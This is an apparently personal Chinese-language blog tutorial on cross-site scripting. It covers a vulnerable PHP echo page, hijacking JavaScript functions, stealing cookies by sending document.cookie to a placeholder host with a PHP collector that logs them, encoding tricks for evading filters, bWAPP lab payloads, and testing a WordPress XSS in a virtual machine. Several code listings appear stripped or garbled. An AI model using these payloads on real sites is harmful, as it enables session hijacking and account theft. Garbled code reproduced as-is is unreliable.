点击阅读
利用 xss 的 javascript 劫持
一个 xss 漏洞示例页面
1
2
3
4
5
6
7
8
9
10
$xss = @$_GET['xss'];
if($xss!==null){
echo $xss;
}
?>
这段代码中首先包含一个表单,用于向页面自己发送 GET 请求,带一个名为 xss 的参数。 然后 PHP 会读取该参数,如果不为空,则直接打印出来,这里不存在任何过滤。也就是说,如果 xss 中存在 HTML 结构性的内容,打印之后会直接解释为 HTML 元素
例如
1
2
3
4
5
6
7
8
9
10
Javascript Hijack with XSSscript.js 内容为
1
2
3
4
function Hello()
{
alert("hi");
}
当传入 xss 为
xss=function Hello() { alert("hacked"); } 时
鼠标点击会弹出 hacked 而非预定的 hi
这里利用 xss 漏洞劫持 javascript 代码
可以传入以执行较长的代码
XSS 会话劫持
可以在含 xss 漏洞的地方使用以下类似代码盗取 cookie
window.open("http://x.x.x.x/getcookie.php?cookie="+document.cookie)
或
document.location="http://x.x.x.x/getcookie.php?cookie="+document.cookie;
getcookie.php:
1
2
3
4
5
$cookie=@$_GET['cookie'];
$path="./cookies.txt";
file_put_contents($path,$cookie.PHP_EOL, FILE_APPEND);
?>
为防止察觉,使用 javascript
script.js:
1
2
3
var script =document.createElement('script');
script.src='http://x.x.x.x/getcookie.php?cookie='+escape(document.cookie);
document.body.appendChild(script);
xss 常用的编码
bWAPP 中的 XSS - Reflected (AJAX/XML)
输入 <img src=1 οnerrοr="alert(document.cookie)">
弹窗获取 cookie
<、>分别为的 HTML tag
第一个,html 实体编码,例如:
alert()
第二个,进制类,例如:
x61x6cx65x72x74x60x78x73x73x60
某些时候,也有不带 x,例如:5c6a
第三个,Unicode,例如:
u0061u006cu0065u0072u0074u0060u4e2du6587u4e5fu53efu4ee5u0060
第四个,纯转义,例如:
' " < >
这样的在特殊字符前加进行转义。
html 标签中:
1
2
3
4
5
html中当然会支持html实体编码,例如=,也有<
支持十六进制,但是要以开头,其中x大写小写无所谓。
支持十进制,要以开头,注意,没有x哦。
支持数字部分高位补充0,例如=,=这两是一样的。
可能你已经发现了,后缀有没有; 都无所谓
javascript 中:
1
2
3
eval函数里,支持十六进制,但是要以 x 开头,x只能小写!必须两位,例如:x5c
eval函数里,支持八进制,但是要以 开头。必须两位,例如:134
eval函数里,还支持u前缀的unicode,本质是:16进制的ascii码。必须是四位,例如:u005c
WordPress XSS 漏洞
于是下载了 wordpress-3.8.3 在虚拟机测试
发现管理员登陆时,编辑内容并不会被过滤
编辑文章,回到首页查看
但是 chrome 下弹出的 cookie 似乎被过滤了,最关键的部分并没有,利用 js 在服务器上获取的 cookie 同样不完整
firefox 下却没问题
以下两个地方都被插入了代码,也会弹出两次
标题
侧栏
去官网下了个最新版 WordPress
管理员的编辑仍不会被过滤
接收到 cookie
wordpress 站点有多个用户,当不是管理员时
漏洞的成因是在/wp-includes/formatting.php 中的 wptexturize 函数
formatting.php 应该是用于清理 XHTML 和用特定字符集正确格式化文本
1
2
3
4
5
6
7
8
9
10
11
12
13
function wptexturize($text) {
......
$textarr = preg_split('/(<.>|[.*])/Us', $text, -1, PREG_SPLIT_DELIM_CAPTURE);
foreach ( $textarr as &$curl ) {
......
}
return implode( '', $textarr );
}
这里的正则/(<.>|[.*])/Us会匹配
1
2
3
4
5
6
7
//这个新姿势能在前台xss弹窗 不限制用户权限 后台的确不能弹窗
前后台都能弹窗 似乎还是老的onmouseover能用
然而我发现这 payload 没什么效果,有时间再好好看看,完善一下